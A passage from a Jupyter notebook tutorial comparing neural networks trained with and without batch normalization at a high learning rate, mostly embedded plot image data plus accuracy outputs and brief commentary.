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\n9teYUGgKhw4d4r33gpZ0a5SqqqoWG0dT6FDRR13KD9sPaj5SThAefHcjm7KLaverq6uJjo5uVp9j\nB3Tj/kvGBT03c+ZM7rzTFpDcuHEj48ePJycnh4KCArp27crmzZuZMmUKmZmZXHzxxaxZs4b77ruP\nsrIylixZwj333APApk2bSEtLY+/evdxxxx3cfvvtADz++OO88MILANx0003ccccdtX1t2LABgMce\ne4ySkhLGjx/PqlWruOmmm4iPj2fZsmXExcUFHbfreI2PjwfgoYce4t1336WsrIyZM2fy7LPP8u9/\n/5tVq1bx7W9/m7i4OJYtW8aGDRv40Y9+RGlpKbGxsXzyyScAZGdnM3v2bHbu3Mnll1/OI488EvS+\nd911F7/+9a+58MIL64znBz/4AatWraJTp048/vjjzJo1i5deeok333yTkpISqqurefDBB7n//vtJ\nSkpi/fr1XHXVVUyYMIEnn3yS0tJS3nnnHYYPHx7aHzZEOpSm0KX8kP3QXTUFRQmHAQMG0KlTJ/bu\n3cvSpUs57bTTmDFjBsuWLWPVqlVMmDCBmBhfZF9MTAwPPfQQV199NRkZGVx99dUAbNmyhQ8++IAV\nK1bw4IMPUllZyerVq3nxxRf58ssvWb58OX/5y19Yu3ZtvWO58sorSU1N5fnnnycjIyOoQLjrrruY\nPHkyKSkpXHPNNfTt2xeAW2+9lZUrV7JhwwbKyspYsGBBbX+vvPIKGRkZREdHc/XVV/Pkk0+ybt06\nPv7449p7ZGRk8Prrr7N+/Xpef/119u3bV+feAKeddhoxMTEsWrTI7/jTTz+NiLB+/XpeffVVbrjh\nhlrBtWbNGt544w0+++wzANatW8czzzzD5s2b+fvf/862bdtYsWIF119/PU899VSof7qQ6VCaQmyF\nIxRUU1BOEALf6FsjZn/mzJksXbqUpUuX8uMf/5j9+/ezdOlSunfvzumnh5YIetFFFxEbG0tsbCx9\n+/bl4MGDLFmyhMsvv7z2bf6KK65g8eLFXHrppWGP9dFHH+XKK6+kpKSEc845p9a8tWjRIh555BGO\nHj1Kfn4+48aN45JLLvG7duvWrfTv359p06YB0K1bt9pz55xzDt272zVXxo4dy549exg0KPhz5d57\n7+VXv/oVDz/8cO2xJUuWcNtttwEwZswYhgwZwrZttvzbeeedR8+ePWvbTps2jf79+wMwfPhwzj//\nfADGjRvHsmXLwv5u6qODaQqHIb4PdA6uYiqK0jiuX2H9+vWMHz+eU089lWXLltU+cEMhNja29nN0\ndHSD9vNOnTpRU1NTux9ODH5CQgJpaWksWbKE8vJybrnlFt544w3Wr1/PzTff3OQ+mzL+r33ta5SV\nlbF8+fKQ+naFYrB7RUVF1e5HRUVFxO/QwYTCIY08UpRmMnPmTBYsWEDPnj2Jjo6mZ8+eHDlyhGXL\nlgUVComJiRQXFzfa75lnnsnbb7/N0aNHKS0t5a233uLMM88kOTmZQ4cOkZeXR0VFBQsWLPDru6Sk\npNG+q6qq+PLLLxk+fHitAOjduzclJSW1DvHAsY4ePZqcnBxWrlwJWC0s3Ifwvffe6+d3OPPMM3nl\nlVcA2LZtG3v37mX06NFh9d3SdDyhoJFHitIsJkyYQG5uLqeeeqrfse7du9O7d+867WfNmsWmTZuY\nPHkyr7/+er39TpkyhRtvvJHp06czY8YMbrrpJk455RQ6d+7Mfffdx/Tp0znvvPMYM2ZM7TU33ngj\nd9xxB5MnT6asrKxOn65PYeLEiUyYMIErrriCpKQkbr75ZsaPH88FF1xQax5y+5s3bx6TJ0+murqa\n119/ndtuu41JkyZx3nnnhZ0pPGfOHPr08a21fsstt1BTU8OECRO4+uqreemll/w0gjbFGBOxf8Bs\nYCuwA7g7yPkxwDKgAvhpKH1OnTrVhEVNjal6sLcxH/wivOuPYxYtWtTWQ2h1TuQ5b9q0qd5zRUVF\nrTiS9kFHnLMxDc872G8EWGVCeMZGzNEsItHA08B52PWZV4rIO8aYTZ5m+cDtwNcjNY5aSg4RXXNM\nI48U5f+3d//BVZX5Hcffn8CFBDH8bpYFBOziLj+CkbIuK7IQnO6C01nZtjhYFNDtRKeuLoUZJw47\nDp1BBy1CxXZk6QgzaLq4IqwIslQM1KHgKiwB5NdCICtQEIkVaoVq4Ns/zpPLTUjID7gJ997va+ZO\nzn3Oc859vjc398l5znO+x7krSObw0e3AITM7bGZfAcuBexIrmNkpM/sQ+DqJ7YhUp8z24SPnnKtX\nMqek9gISJ+8eA77XnB1JKgKKAPLy8ti0aVOT99Hj1GYGA0u3HmdL6Xr+ePYiVRcb3CwtXLx4gayt\nzbuqMlWlc8xPFeaRdeJMPWsNvqhvXbrKnJg7xkRu+yjh3YULF+o9gX/+/PlmfU9CilynYGaLgcUA\nw4cPt+bkD3l7a2fml11k8/6uKHaR/F6dyGmXEuFftc8++6zGvOdMkM4xt2mTRbtY3Z/dqqoq2rbN\njM91tUyKOScnxo03RBcHXumalOzsbG677bZmvUYy38njQOL8z96hrFXkf/sWNu0fwa/u+i5DvtmJ\ndm0zZ+LVpk2bGDPm9tZuRotK55j37dtH/+431Lku+qKoe126ysSYkymZ34wfAgMk9ZfUDpgErE7i\n611Rn64duLt/O4bd1CWjOgTnnGuKpH07mlkV8DNgPbAP+LWZ7ZH0iKRHACR9Q9IxYAbwC0nHJOXW\nv1fnXGtqydTZ/fr1Iz8/n4KCAvLz83nzzTcb3OaZZ55psM60adNqXLBWH0nMnDkz/nzevHnMnj27\nwe1SXVL/ZTazt83sFjP7UzN7OpQtMrNFYfmkmfU2s1wz6xyWz155r8651tLSqbM3btxIWVkZK1as\niGdSvZLGdAqN1b59e1auXMnp06ebtX1rpb6+Wplxdsa5dLWuGE7ujj/NuVAFba7yz/ob+TB+bp2r\nkp06uz5nz56lS5cu8ecTJkzg6NGjnD9/nocffpjHH3+c4uJizp07R0FBAYMHD6akpIRly5Yxb948\nJDF06FBeeeUVAN577z3mz5/PyZMnee655+JHNYnatm1LUVERCxYs4Omnn66xrqKigoceeojTp0/T\no0cPli5dyk033cS0adPIzs5mx44djBw5ktzcXI4cOcLhw4f5+OOPWbBgAe+//z7r1q2jV69evPXW\nW8Riscb/blqAD6475xotmamz61JYWMiQIUMYPXo0c+bMiZcvWbKE7du3s23bNhYtWkRlZSVz584l\nJyeHsrIySkpK2LNnD3PmzKG0tJSdO3fywgsvxLc/ceIEmzdvZs2aNRQXF9cb76OPPkpJSQlnztSc\n8vrYY48xdepUdu3axeTJk2t0aseOHWPLli3Mnz8fgPLyckpLS1m9ejX3338/hYWF7N69m5ycHNau\nXduEd79l+JGCc6ms1n/051I4dXbv3r0vq7dx40a6d+9OeXk5d911F2PGjKFjx44sXLiQVatWAXD8\n+HEOHjxIt27damxbWlrKxIkT4/mYEqcoT5gwgaysLAYNGsQnn3xSbztzc3OZMmUKCxcurHG/hq1b\nt7Jy5UoAHnjgAZ544on4uokTJ9a40dH48eOJxWLk5+dz4cIFxo0bB0T5oioqKhr1frUk7xScc01S\nO3V2nz59eP7558nNzeXBBx9s1D6aknoaovsI5OXlsXfvXr788ks2bNjA1q1b6dChA6NGjbqq1NdR\nWqD6TZ8+nWHDhjU6tvpSX2dlZRGLxZAUf349nnfw4SPnXJMkK3X2lZw6dYojR47Qt29fzpw5Q5cu\nXejQoQP79++Pp7YGiMVi8aGosWPH8vrrr1NZWQlEFzQ2R9euXbn33nt5+eWX42V33HEHy5cvB6Ck\npIRRo0Y1N7TrjncKzrkmSVbq7LoUFhZSUFBAYWEhc+fOJS8vj3HjxlFVVcXAgQMpLi6ukfq6qKiI\noUOHMnnyZAYPHsysWbMYPXo0t956KzNmzGh2zDNnzqwxC+nFF19k6dKl8ZPXiecrUp0aOnS63gwf\nPty2bdvWrG2jq1zHXNsGpYBMjDudY963bx8DBw6sc11L3I7zepOJMcOV467rMyJpu5kNb2i/fqTg\nnHMuzjsF55xzcd4pOJeCUm3Y17Wcq/1seKfgXIrJzs6msrLSOwZ3GTOjsrKS7OzsZu/Dr1NwLsX0\n7t2bY8eO8emnn1627vz581f1hZCKMjFmqD/u7OzsOi8EbCzvFJxLMbFYjP79+9e5btOmTc2+uUqq\nysSYIXlxJ3X4SNI4SQckHZJ0WYIRRRaG9bskDUtme5xzzl1Z0joFSW2AfwHGA4OA+yQNqlVtPDAg\nPIqAl5LVHueccw1L5pHC7cAhMztsZl8By4F7atW5B1hmkfeBzpJ6JrFNzjnnriCZ5xR6AUcTnh8D\nvteIOr2AE4mVJBURHUkAfCHpQDPb1B1o3h0zUlsmxp2JMUNmxp2JMUPT4+7bmEopcaLZzBYDi692\nP5K2NeYy73STiXFnYsyQmXFnYsyQvLiTOXx0HOiT8Lx3KGtqHeeccy0kmZ3Ch8AASf0ltQMmAatr\n1VkNTAmzkEYAZ8zsRO0dOeecaxlJGz4ysypJPwPWA22AJWa2R9IjYf0i4G3gbuAQ8CXQuLtYNN9V\nD0GlqEyMOxNjhsyMOxNjhiTFnXKps51zziWP5z5yzjkX552Cc865uIzpFBpKuXG9k7RE0ilJHyWU\ndZX0jqSD4WeXhHVPhlgPSPpRQvmfSdod1i1UuIu4pPaSXgvlv5PUryXjq4ukPpI2StoraY+kn4fy\ndI87W9IHknaGuP8hlKd13BBlQpC0Q9Ka8DwTYq4I7S2TtC2UtV7cZpb2D6IT3eXAzUA7YCcwqLXb\n1cQYfgAMAz5KKHsOKA7LxcCzYXlQiLE90D/E3ias+wAYAQhYB4wP5X8HLArLk4DXroOYewLDwvKN\nwB9CbOket4COYTkG/C60Pa3jDm2ZAfwbsCYTPuOhLRVA91plrRZ3q78hLfSmfx9Yn/D8SeDJ1m5X\nM+LoR81O4QDQMyz3BA7UFR/RDLDvhzr7E8rvA36ZWCcstyW6UlKtHXOt+N8E/jyT4gY6AL8nygaQ\n1nETXaf0LjCWS51CWscc2lLB5Z1Cq8WdKcNH9aXTSHV5dum6jpNAXliuL95eYbl2eY1tzKwKOAN0\nS06zmy4c8t5G9F9z2scdhlHKgFPAO2aWCXH/E/AEcDGhLN1jBjBgg6TtilL6QCvGnRJpLlzDzMwk\npeX8YkkdgTeA6WZ2NgyVAukbt5ldAAokdQZWSRpSa31axS3pL4BTZrZd0pi66qRbzAnuNLPjkv4E\neEfS/sSVLR13phwppGs6jU8UssqGn6dCeX3xHg/LtctrbCOpLdAJqExayxtJUoyoQygxs5WhOO3j\nrmZmnwMbgXGkd9wjgR9LqiDKqDxW0qukd8wAmNnx8PMUsIoow3SrxZ0pnUJjUm6kotXA1LA8lWjM\nvbp8Uph10J/ofhUfhMPRs5JGhJkJU2ptU72vvwZKLQxCtpbQxpeBfWY2P2FVusfdIxwhICmH6DzK\nftI4bjN70sx6m1k/or/PUjO7nzSOGUDSDZJurF4Gfgh8RGvG3donWVrwZM7dRLNXyoFZrd2eZrT/\nV0Qpxb8mGi/8KdG44LvAQWAD0DWh/qwQ6wHCLIRQPjx86MqBf+bSVe3ZwOtEKUc+AG6+DmK+k2i8\ndRdQFh53Z0DcQ4EdIe6PgKdCeVrHndDmMVw60ZzWMRPNiNwZHnuqv5taM25Pc+Gccy4uU4aPnHPO\nNYJ3Cs455+K8U3DOORfnnYJzzrk47xScc87FeafgUpqkbiG7ZJmkk5KOJzxv18h9LJX07QbqPCpp\n8rVpdZ37/0tJ30nW/p1rLJ+S6tKGpNnAF2Y2r1a5iD7rF+vc8DoQrt5dYWa/ae22uMzmRwouLUn6\nlqL7MJQQXRTUU9JiSdsU3aPgqYS6myUVSGor6XNJcxXdy2BryEeDpDmSpifUn6vongcHJN0Rym+Q\n9EZ43RXhtQrqaNs/hjq7JD0raRTRRXkLwhFOP0kDJK0PSdLek3RL2PZVSS+F8j9IGh/K8yV9GLbf\nJenmZL/HLj15QjyXzr4DTDGz6huXFJvZZyH/y0ZJK8xsb61tOgH/YWbFkuYDDwFz69i3zOx2ST8G\nniLKTfQYcNLM/krSrUQpr2tuJOURdQCDzcwkdTazzyW9TcKRgqSNwN+aWbmkkURXqP4w7KYP8F2i\nFAcbJH2LKGf+PDN7TVJ7opz6zjWZdwounZVXdwjBfZJ+SvS5/ybRDUtqdwrnzGxdWN4OjKpn3ysT\n6vQLy3cCzwKY2U5Je+rY7jOi1ND/KmktsKZ2hZD3aATwhi5lhE38W/11GAo7IOkoUeewBfiFpL7A\nSjM7VE+7nbsiHz5y6ex/qxckDQB+Dow1s6HAb4lywtT2VcLyBer/x+n/GlHnMmb2NVGOmt8AE4C1\ndVQTcNrMChIeiamza58INDN7BfhJaNdvJf2gsW1yLpF3Ci5T5AL/Q5RJsifwowbqN8d/AvdCNMZP\ndCRSQ8iImWtma4C/J7pxEKFtNwKY2X8DJyT9JGyTFYajqk1U5BaioaSDkm42s0Nm9gLR0cfQJMTn\nMoAPH7lM8XuioaL9wB+JvsCvtReBZZL2htfaS3SXq0SdgJVh3D+L6J7EEGXB/aWkmURHEJOAl8KM\nqnbAq0SZNCHKj78N6AgUmdlXkv5G0n1EWXT/C5idhPhcBvApqc5dI+EEdlszOx+Gq/4dGGDRLRCv\n1Wv41FWXVH6k4Ny10xF4N3QOAh6+lh2Ccy3BjxScc87F+Ylm55xzcd4pOOeci/NOwTnnXJx3Cs45\n5+K8U3DOORf3/9tz3pLzjzHVAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f91afbf2518>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 2, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We've already seen that ReLUs do not do as well as sigmoids with higher learning rates, and here we are using an extremely high rate. As expected, without batch normalization the network doesn't learn at all. But with batch normalization, it eventually achieves 90% accuracy. Notice, though, how its accuracy bounces around wildly during training - that's because the learning rate is really much too high, so the fact that this worked at all is a bit of luck." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 2, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 19, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1401.19it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9093997478485107\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:33<00:00, 532.22it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9613996744155884\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9066000580787659\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9583001136779785\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsnXd4XMX1sN+zq94ly5JsSW6yZVs27tgUAzKY3kvoJRDi\nkEASSID0H5BCID0fkBCHEEhC6ARsMDYYEBgb494kN1kusnrvbXfn+2PuSitZZVXWlqx5n2cf7d47\nd+6Zu6s5M+ecOSNKKQwGg8FgALCdaAEMBoPBMHgwSsFgMBgMrRilYDAYDIZWjFIwGAwGQytGKRgM\nBoOhFaMUDAaDwdCKUQonMSIyTkSUiPhZn98XkTu8KduHe/1YRJ7rj7wG3yAiz4rIz060HD0hIuki\nkjnQZQ29Q8w6hcGLiKwENiil/q/D8SuBvwFJSilHN9ePAw4C/t2V60PZdOA/SqmkHhsxQFj3/AT4\noVLqyeN13+OJiDwK/ARotA4VAB8Av1JKFZwouTpDRM4C3nd/BEKAOo8iaUqpI8ddMEO/MTOFwc2L\nwK0iIh2O3wa81FPnfZJxB1AO3H68b9zX2VMfeVUpFQ7EAFcDCcBmERnVl8pExD6QwrlRSq1RSoUp\npcKAadbhKPexjgpBRGwiYvqbIYD5kgY3bwMjgLPcB0QkGrgM+Jf1+VIR2Soi1SKSa402O0VEMkTk\nbuu9XUR+JyKlIpIDXNqh7J0isltEakQkR0S+YR0PRY8QR4tIrfUaLSKPish/PK6/QkQyRaTSuu9U\nj3OHRORBEdkhIlUi8qqIBHUjdyhwHXAvMElE5nU4v1BE1ln3yhWRr1rHg0Xk9yJy2LrP59axdBE5\n2qGOQyKy2Hr/qIi8ISL/EZFq4KsiMl9EvrDuUSAiT4tIgMf100TkQxEpF5Eiy5yWICL1IjLCo9wc\nESkREf+u2guglGpRSmUCNwAlwPet678qIp93kF2JyETr/Qsi8lcRWSEidcAi69gvrfPpInJURL4v\nIsVWW+70qGuEiCy3fk8bReSXHe/nLdbz/oWIfIGeRYwRkbs9flcH3L9Hq/xiETnk8fmoiHxPRHZa\n39/LIhLY27LW+R+JSKGI5InI161nNq4v7TrZMUphEKOUagBeo/3o+Hpgj1Jqu/W5zjofhe7Yvyki\nV3lR/dfRymU2MA/d6XpSbJ2PAO4E/igic5RSdcDFQL7HqDDf80IRSQVeBu4HRgIrgOWenajVjouA\n8cAM4KvdyHoNUAu8DqxCzxrc9xqLVlJPWfeaBWyzTv8OmAucgR55Pwy4unsoHlwJvIF+ri8BTuAB\nIBY4HTgP+JYlQziwGlgJjAYmAh8ppQqBDKutbm4DXlFKtXgjhFLKCbyDx8DAC24GfgWEA5116AlA\nJJAIfA14RvRgA+AZ9G8qAf2cO/VB9YLbgLvQv6OjQBH6dxqB/g0+JSIzurn+euB8YAL6u7ytt2VF\n5DLg28AiIBU4t+/NOfkxSmHw8yJwncdI+nbrGABKqQyl1E6llEsptQPdGZ/jRb3XA39SSuUqpcqB\nX3ueVEq9p5Q6oDSfom3b3nZMNwDvKaU+tDq/3wHB6M7Zzf9TSuVb916O7sy74g60WcUJ/Be40WOk\nfTOwWin1sjW6LlNKbRNtqrgL+K5SKk8p5VRKrVNKNXnZhi+UUm9bz7VBKbVZKbVeKeVQSh1C+3Tc\nz/kyoFAp9XulVKNSqkYp9aV17kXgVmg15dwE/NtLGdzko5Wat7yjlFpryd7YyfkW4OfW81qBVriT\nLfmuBR5RStUrpbLw+K31keeVUrutezmUUsuVUjnW7+pj4CO6/139SSlVqJQqA96l+99JV2WvB/5h\nyVEHPNbP